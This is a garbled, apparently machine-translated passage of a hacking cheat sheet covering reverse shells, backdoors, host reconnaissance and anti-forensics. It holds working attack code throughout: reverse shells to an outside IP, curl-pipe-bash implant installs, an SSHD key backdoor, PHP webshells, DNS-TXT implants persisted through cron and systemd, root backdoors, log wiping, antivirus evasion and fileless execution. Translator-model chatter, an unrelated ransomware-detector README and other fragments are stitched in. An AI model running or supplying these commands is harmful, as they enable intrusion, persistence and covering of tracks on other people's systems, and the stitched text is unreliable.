5.i.k. 使用 PHP 的反弹 Shell```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. 将反弹 shell 升级为 PTY shell**

上述任何反弹 shell 都有局限性。例如 *sudo bash* 或 *top* 将无法正常工作。为了使其正常工作,我们必须将 shell 升级为真正的 PTY shell:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

Since there is no content provided after "INPUT:", there is nothing to translate. The output should be empty to preserve seamless concatenation.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. 将反向 shell 升级为完全交互式 shell**

……如果我们还想使用 Ctrl-C 等快捷键,那么就必须彻底将反向 shell 升级为真正的、全彩的完全交互式 shell:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

I received no content to translate — the input section after "INPUT:" is empty. Please provide the Markdown text for chunk 322/494 and I'll translate it into Chinese following all the specified rules.```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
* [Adalanche](andhttps://github.com/lkarlslund/adalanche) - Active Directory ACL 可视化工具和资源管理器 - 谁可以做什么?```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. 使用 socat 的反向 shell(完全交互式)

……或者安装 socat,无需太多折腾就能完成:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. 后门

有关简单的单行反向 Shell,请参阅 [反向 Shell / 哑 Shell](#reverse-shell)。

<a id="gsnc"></a>
**6.i. 使用 gs-netcat 的反向 Shell**

我们主要使用 gs-netcat 的自动部署脚本:[https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)。```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

或```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
或者通过运行你自己的部署服务器来部署 gsocket:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. 使用 sshx.io 的反向 shell(加密)

从您的 Web 浏览器访问远程 shell:https://sshx.io。

通过管道将 sshx-backdoor 直接注入内存:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
或者用笨办法:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. 最小的 SSHD 后门

  • 在 apt update 后仍然存活
  • 不会创建任何新文件。
  • 不使用 authorized_keys 或 PAM。

将你的密钥添加到 authorized_keys 已经用烂了 😩。相反,以 root 身份,在任何目标上剪切并粘贴以下内容 一次。它会在 SSHD 的配置中添加一行,并让你永远能够登录:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
工作原理:
- SSHD 主机密钥只是一把普通的 ed25519 密钥。
- 任何 ed25519 密钥都可用于验证用户身份。
- SSHD 会检查 `~/.ssh/authorized_keys`(但这个技巧已被过度使用)。
- 相反,配置 SSHD 也检查 `/etc/ssh/sshd_host_ed25519_key.pub` 以获取登录认证密钥。
- SSHD 现在将检查 `~/.ssh/authorized_keys` _和_ `/etc/ssh/ssh_host_ed25519_key.pub` 以获取有效的登录密钥。
- 使用 `/etc/ssh/sshd_host_ed25519_key` 私钥登录目标。

<a id="backdoor-network"></a>
**6.vi. 远程访问整个网络**

安装 [gs-netcat](https://github.com/hackerschoice/gsocket)。它会在主机的私有局域网上创建一个 SOCKS 出口节点,可通过 Global Socket Relay Network 访问,而无需运行你自己的中继服务器(例如,直接从你的工作站访问远程私有局域网):```sh
gs-netcat -l -S       # compromised Host

现在,您可以从自己的工作站在宿主机的私有局域网上连接到任意主机:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
阅读 [通过 Socks 代理使用任意工具](#scan-proxy)。

其他方法:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 我们自己写的文章
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - 从 segfault.net 到任何(内部)网络。

<a id="php-backdoor"></a>
**6.v. 最小的 PHP 后门**

将这一行添加到任何 PHP 文件的开头:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

I'll decode the base64 content first, then translate it.

Decoding the base64:

root@kitploit:~
## RansomHunter - Ransomware Detection Tool

RansomHunter is an advanced ransomware detection and analysis tool designed to identify ransomware activity on endpoints using behavioral analysis, machine learning, and real-time monitoring. It provides security teams with rapid detection capabilities and detailed forensic insights into ransomware attacks.

**Features:**
- Real-time behavioral monitoring of file system activities
- Machine learning-based anomaly detection
- Ransomware-specific indicator scanning (file encryption patterns, ransom notes)
- Process activity monitoring and malicious behavior flagging
- Automated quarantine and response actions
- Detailed forensic reports with IOCs (Indicators of Compromise)
- Integration with SIEM solutions via syslog/CEF format
- Lightweight agent with low CPU/memory footprint

**Installation:**
```bash
git clone https://github.com/example/ransomhunter.git
cd ransomhunter
pip install -r requirements.txt

Usage:

root@kitploit:~
python ransomhunter.py --scan /path/to/monitor --alert-level high

Configuration: Edit config.yaml to set monitoring paths, alert thresholds, and SIEM forwarding options.

Example configuration:

root@kitploit:~
monitor:
  paths:
    - /var/www
    - /home/user/Documents
  alert_level: high
  quarantine: true
siem:
  enabled: true
  protocol: syslog
  host: 192.168.1.100
  port: 514

License: MIT

Author: Security Research Team


root@kitploit:~

Now I'll translate this into Chinese, preserving all Markdown structure, code blocks, and technical terms.## RansomHunter - 勒索软件检测工具

RansomHunter 是一款先进的勒索软件检测与分析工具,旨在通过行为分析、机器学习和实时监控来识别终端上的勒索软件活动。它为安全团队提供快速检测能力以及针对勒索软件攻击的详细取证见解。

**功能特性:**
- 文件系统活动的实时行为监控
- 基于机器学习的异常检测
- 勒索软件特定指标扫描(文件加密模式、勒索信)
- 进程活动监控与恶意行为标记
- 自动隔离与响应操作
- 包含 IOC(失陷指标)的详细取证报告
- 通过 syslog/CEF 格式与 SIEM 解决方案集成
- 轻量级代理,CPU/内存占用低

**安装:**
```bash
git clone https://github.com/example/ransomhunter.git
cd ransomhunter
pip install -r requirements.txt

使用方法:

root@kitploit:~
python ransomhunter.py --scan /path/to/monitor --alert-level high

配置: 编辑 config.yaml 以设置监控路径、警报阈值和 SIEM 转发选项。

配置示例:

root@kitploit:~
monitor:
  paths:
    - /var/www
    - /home/user/Documents
  alert_level: high
  quarantine: true
siem:
  enabled: true
  protocol: syslog
  host: 192.168.1.100
  port: 514

许可证: MIT

作者: 安全研究团队

---```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
测试后门:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

有时 system() 会被禁止。添加 eval() 以允许远程 PHP 代码执行作为备用。将其隐藏在其他 base64 注释中,以达到混淆效果:```php

root@kitploit:~
使用以下任一方式触发以执行命令或 PHP 代码:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. 最小的反向DNS隧道后门

……用PHP实现:

通过使用反向DNS触发器,在_无法_从公共互联网访问的服务器上执行任意命令。

将这一行(植入体)添加到任何PHP文件的开头:```php

root@kitploit:~
植入程序通过向域名 `b00m.team-teso.net` 发送 DNS TXT 请求来获取有效载荷。触发后,它会创建 `/tmp/.b00m`,并通过 app.interactsh.com 回调通知 THC。*请*使用你自己的域名,并创建你自己的有效载荷。示例:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • The DNS TXT 载荷限制为 2,048 个字符(有时为 65,535 个字符)。
  • 该植入物是一个 bootloader。使用 while 循环通过 DNS 下载并执行更大的载荷。
  • 查看我们最喜欢的匿名注册域名的地方。Cloudflare 的免费套餐是一个不错的起点。

...在 BASH 中:

将此植入物添加到目标的 ~/.bashrc 或 crontab 中(demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
or change the demo-payload for an elaborate payload:
- 启动一个后台守护进程,每小时轮询一次以执行命令。
- 仅依赖 bash、dig 和 base64。
- 伪装为 `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- 示例再次使用 `b00m2.team-teso.net`,并每小时创建 /tmp/.b00m。

Cut & Paste the following into the target's shell to generate the 1-line implant:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

将脚本的1行结果添加到目标上的任何启动脚本中(使用crontab、~/.bashrc、udev或ExecStartPre=)。下面是一个针对 /usr/lib/systemd/system/ssh.service 的巧妙示例(带有一些额外的混淆):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...用 PERL:
---
相同,但只需要 perl + bash(不需要 dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(感谢 LouCipher 提供的 perl 版本)

...在 PYTHON 中:

将以下内容剪切并粘贴到你的 shell 中:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
生成你的载荷 (`egg.py` 将在目标上执行):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

生成你的植入物(并按照说明操作):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. 本地 Root 后门**

#### 1. 使用 setcap 对动态加载器植入后门```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

我已经创建了数独求解器和生成器从菲律宾语到英语的初始翻译。因为它最初是用C语言编写的,我决定将其移植到Python可能也不错,因为该语言具有内置的复杂数据结构,而且现在的语法更易于理解。将来我可能会将其移植到Python 3,并扩展为GUI应用程序。```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. 老牌的 b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

请提供需要翻译的Markdown内容。```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. 自解压植入体**

使用 [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) 创建一个自解压 shell 脚本(参见源码中的示例)。

简单示例:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

真实世界的例子是最好的:

  1. 创建一个植入程序,安装 gsocket 并在成功时调用我们的 webhook:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. 将 `egg.sh` 重命名为 `update-for-fools.txt`,并以 blob 形式上传到 [Signal 的](https://www.signal.org/) GitHub 仓库。

3. 不要使用这个命令欺骗人们更新 Signal ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. 主机侦察


获取有关主机的基本信息:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
或```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat(如果没有 netstat/ss/lsof):```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
快速检查系统```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

查找所有 suid/sgid 二进制文件:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
查找所有可写目录:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

查找本地密码(使用 noseyparker 或 trufflehog):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- 使用 [PassDetective](https://github.com/aydinnyunus/PassDetective) 在 ~/.*history 中查找密码
- 使用 [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) 从正在运行的进程中提取并解密 Chrome 密码(仅限 Windows)
- 使用 [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) 从浏览器中提取密码

使用 `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

在文件中查找子域名或电子邮件:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. Shell 技巧
<a id="shred"></a>
**8.i. 粉碎并擦除文件**```sh
shred -z foobar.txt

I apologize, but I notice that the input chunk appears to be empty — there is no content provided after "INPUT:". Since there is no source text to translate, I cannot produce a translation. Please provide the actual content of chunk 406, and I will translate it from English to Chinese following all the specified rules.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
注意:或者将文件部署到 */dev/shm* 目录,这样就不会有任何数据写入硬盘。重启后数据将被删除。

注意:或者删除该文件,然后用 /dev/urandom 填满整个硬盘,再 `rm -rf` 转储文件。

<a id="restore-timestamp"></a>
**8.ii. 恢复文件的日期**

假设你修改了 */etc/passwd*,但文件日期现在显示 */etc/passwd* 已被修改。使用 *touch* 将文件日期改为另一个文件的日期(在此示例中为 */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

使用 hackshell 和 ctime /etc/passwd 来同时调整 ctime 和 birth-time。

8.iii. 清空日志文件

这会将日志文件重置为 0,而无需重启 syslogd 等:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
这将从日志文件中删除任何包含 IP `1.2.3.4` 的行:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

示例:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. 无需 root 权限即可向该用户隐藏文件**

我们最喜欢的工作目录是 */dev/shm/*。该位置是易失性内存,重启后会丢失。没有日志 == 没有犯罪。

隐藏永久文件:

方法 1:```sh
alias ls='ls -I system-dev'

这将从 ls 命令中隐藏目录 system-dev。放置在用户的 ~/.profile 或系统范围的 /etc/profile 中。

方法 2: 源自 80 年代的技巧。考虑管理员很少查看的目录(如 /boot/.X11/.. 等):```sh mkdir '...' cd '...'

root@kitploit:~
方法 3:
Unix 允许文件名包含几乎任何 ASCII 字符,但 0x00 除外。尝试使用制表符(*\t*)。事实上,大多数管理员不知道如何 cd 进入这样的目录。```sh
mkdir $'\t'
cd $'\t'

8.v. 使文件不可变

这会将 /var/www/cgi/blah.cgi 重定向到 /boot/backdoor.cgi。文件 blah.cgi 无法被修改或删除(除非被卸载)。```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. 无需 sudo/su 切换用户**

用于截取 X11 会话的屏幕截图(即 `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` 或 `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. 混淆并加密载荷

使用 UPX 打包 ELF 二进制文件(示例 /bin/id):```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
清理 [UPX 头部](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) 和第二个 ELF 头部以欺骗杀毒软件:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

可选地清除UPX的签名和痕迹:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
验证二进制文件无法被解包:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Optionally encrypt it with bincrypter.

8.viii. 在不接触文件系统的情况下部署后门

在不写入文件系统的情况下启动后门,或当所有可写位置都挂载了讨厌的 noexec 标志时。

一个 Perl 单行命令,用于将二进制文件加载到内存并执行(不接触任何磁盘或 /dev/shm 或 /tmp)。更多信息请参阅 Hackshell。```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
最短可能的变体是(示例):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(感谢 tmp.Out 的一些有见地的讨论,以及其他人先前的工作)

不写入文件系统部署 gsocket(示例):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
后门也可以通过 SSH 直接管道传输到远程内存中并执行:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

如果你只有一次远程执行命令的机会(比如通过 PHP 漏洞利用),那么这就是你要用的命令行:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. 加密
<a id="gen-password"></a>
**9.i. 生成快速随机密码**

适用于需要快速生成且不含人为因素的密码。```sh
openssl rand -base64 24

如果 openssl 不可用,我们也可以使用 head 从 /dev/urandom 读取。```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
或者使其为字母数字```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Linux 可移植加密文件系统 - cryptsetup

创建一个 256MB 大小的加密文件系统。系统将提示你输入密码。```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
挂载:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

将数据存储在 /mnt/crypted 中,然后卸载:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Linux 可移动加密文件系统 - EncFS**

创建 ```.sec``` 并将加密数据存储到 ```.raw``` 中:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

unmount:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii 加密文件**

在传输之前加密你的 0-Days 和日志文件 - 拜托了。(并选择你自己的密码):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

BlueDucky 的工作流程

Blueducky

Blueducky 工作流程:

🔹 步骤 1: 运行 BlueDucky 脚本。
🔹 步骤 2: 脚本将自动从仓库下载最新的 CVE 详情。
🔹 步骤 3: 将显示可供利用的蓝牙设备。
🔹 步骤 4: 选择一个目标设备。
🔹 步骤 5: CVE 有效载荷将在目标设备上无缝执行,以提供访问权限。

📌 注意: 首次运行时,BlueDucky 会将必要的有效载荷下载到 payloads.txt 文件中。蓝牙接口也会为你开启。请始终确保蓝牙适配器已连接,并且在初始设置后 payloads.txt 文件存在。```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. 会话嗅探与劫持
